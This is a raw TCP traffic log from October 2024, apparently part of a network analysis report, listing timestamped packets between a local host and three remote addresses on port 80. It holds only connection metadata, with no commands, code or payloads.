Oct 23, 2024 17:51:30.131119013 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.131145000 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131155014 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131187916 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.131303072 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131320953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131335020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131345987 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131367922 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.131388903 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131395102 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.131478071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131491899 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131510973 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131521940 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.131525040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131546021 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.131581068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131593943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131604910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131617069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131625891 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.131649971 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.131799936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131810904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131829977 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131836891 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.131844044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131855965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131860971 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.131869078 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131880045 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131891012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131901026 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.131901979 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131915092 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.131917000 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131928921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131942034 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.131942034 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.131963015 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.131999016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132010937 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132024050 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132030964 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132035971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132057905 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132076025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132087946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132098913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132110119 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132117987 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132128954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132141113 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132152081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132163048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132164955 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132178068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132180929 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132189989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132203102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132219076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132219076 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132231951 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132242918 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132250071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132262945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132271051 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132294893 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132301092 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132313013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132325888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132337093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132343054 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132349968 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132363081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132375956 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132384062 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132388115 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132400990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132410049 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132411957 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132425070 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132427931 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132437944 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132446051 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132448912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132461071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132472038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132477999 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132483006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132493973 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132507086 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132508039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132522106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132529020 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132535934 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132546902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132548094 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132565975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132580042 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132581949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132595062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132607937 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132611990 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132622004 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132635117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132638931 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132647991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132656097 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132663965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132674932 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132682085 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132688999 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132700920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132713079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.132721901 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.132750988 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.133167982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.133191109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.133203030 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.133203983 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.133311987 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.133955956 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.133991957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.134021997 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.134033918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.134046078 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.134057045 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.134057045 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.134082079 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.134085894 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.134095907 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.134160995 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.134171963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.134182930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.134195089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.134202003 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.134207964 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.134227037 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.134239912 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.134823084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.134835005 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.134846926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.134866953 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.134866953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.134881020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.134892941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.134905100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.134911060 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.134932995 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.135080099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135092974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135103941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135117054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135123014 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.135134935 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.135140896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135154009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135165930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135174036 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.135178089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135191917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135198116 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.135204077 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135215998 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135226011 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.135226011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135238886 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.135241985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135253906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135266066 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135277987 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135283947 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.135293007 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135304928 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135308027 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.135325909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135328054 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.135344982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135368109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135375977 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.135380030 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:30.135416031 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:30.140980005 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:31.034254074 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:35.241125107 CEST	49847	80	192.168.2.6	185.215.113.37
Oct 23, 2024 17:51:35.246776104 CEST	80	49847	185.215.113.37	192.168.2.6
Oct 23, 2024 17:51:35.247092962 CEST	49847	80	192.168.2.6	185.215.113.37
Oct 23, 2024 17:51:35.247762918 CEST	49847	80	192.168.2.6	185.215.113.37
Oct 23, 2024 17:51:35.253125906 CEST	80	49847	185.215.113.37	192.168.2.6
Oct 23, 2024 17:51:35.385225058 CEST	49848	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:35.390775919 CEST	80	49848	185.215.113.43	192.168.2.6
Oct 23, 2024 17:51:35.390876055 CEST	49848	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:35.390975952 CEST	49848	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:35.396565914 CEST	80	49848	185.215.113.43	192.168.2.6
Oct 23, 2024 17:51:36.177874088 CEST	80	49847	185.215.113.37	192.168.2.6
Oct 23, 2024 17:51:36.177994967 CEST	49847	80	192.168.2.6	185.215.113.37
Oct 23, 2024 17:51:36.226885080 CEST	49847	80	192.168.2.6	185.215.113.37
Oct 23, 2024 17:51:36.232223034 CEST	80	49847	185.215.113.37	192.168.2.6
Oct 23, 2024 17:51:36.294836044 CEST	80	49848	185.215.113.43	192.168.2.6
Oct 23, 2024 17:51:36.294908047 CEST	49848	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:36.521121979 CEST	80	49847	185.215.113.37	192.168.2.6
Oct 23, 2024 17:51:36.521186113 CEST	49847	80	192.168.2.6	185.215.113.37
Oct 23, 2024 17:51:37.805286884 CEST	49848	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:37.805622101 CEST	49864	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:37.810991049 CEST	80	49864	185.215.113.43	192.168.2.6
Oct 23, 2024 17:51:37.811093092 CEST	49864	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:37.811219931 CEST	49864	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:37.811305046 CEST	80	49848	185.215.113.43	192.168.2.6
Oct 23, 2024 17:51:37.811367035 CEST	49848	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:37.816466093 CEST	80	49864	185.215.113.43	192.168.2.6
Oct 23, 2024 17:51:38.716043949 CEST	80	49864	185.215.113.43	192.168.2.6
Oct 23, 2024 17:51:38.716108084 CEST	49864	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:38.863888979 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:38.869467020 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:38.869556904 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:38.872498989 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:39.100960016 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:39.109536886 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:39.109684944 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:39.999047041 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:39.999083042 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:39.999145985 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:39.999171972 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:39.999552965 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:39.999633074 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:39.999675035 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:39.999711990 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:39.999744892 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:39.999747992 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:39.999766111 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:39.999784946 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:39.999819040 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:39.999820948 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:39.999839067 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:39.999859095 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:39.999892950 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:39.999923944 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:39.999960899 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.007963896 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.008002996 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.008030891 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.008100986 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.153203011 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.153350115 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.153383017 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.153403044 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.153403044 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.153419018 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.153445005 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.153456926 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.153484106 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.153508902 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.153718948 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.153749943 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.153774977 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.153911114 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.153923988 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.153980970 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.153986931 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.154016972 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.154042959 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.154057980 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.154068947 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.154109001 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.154897928 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.154957056 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.154970884 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.155005932 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.155023098 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.155040979 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.155066013 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.155086994 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.156023979 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.156081915 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.156088114 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.156116962 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.156128883 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.156153917 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.156183958 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.156244040 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.156913996 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.156975031 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.157011032 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.157021046 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.157056093 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.157071114 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.158879042 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.158936977 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.158941984 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.158993006 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.159071922 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.159236908 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.307615995 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.307687998 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.307723045 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.307755947 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.307770014 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.307790995 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.307818890 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.307851076 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.307885885 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.307913065 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.307996988 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.308032036 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.308062077 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.308092117 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.308125973 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.308152914 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.308182001 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.308212996 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.308214903 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.308239937 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.308249950 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.308259010 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.308281898 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.308294058 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.308315992 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.308348894 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.308372974 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.308391094 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.308455944 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.308796883 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.308851004 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.308873892 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.308908939 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.308943033 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.308964968 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.308990955 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.309092045 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.309170008 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.309221983 CEST	49868	80	192.168.2.6	185.215.113.16
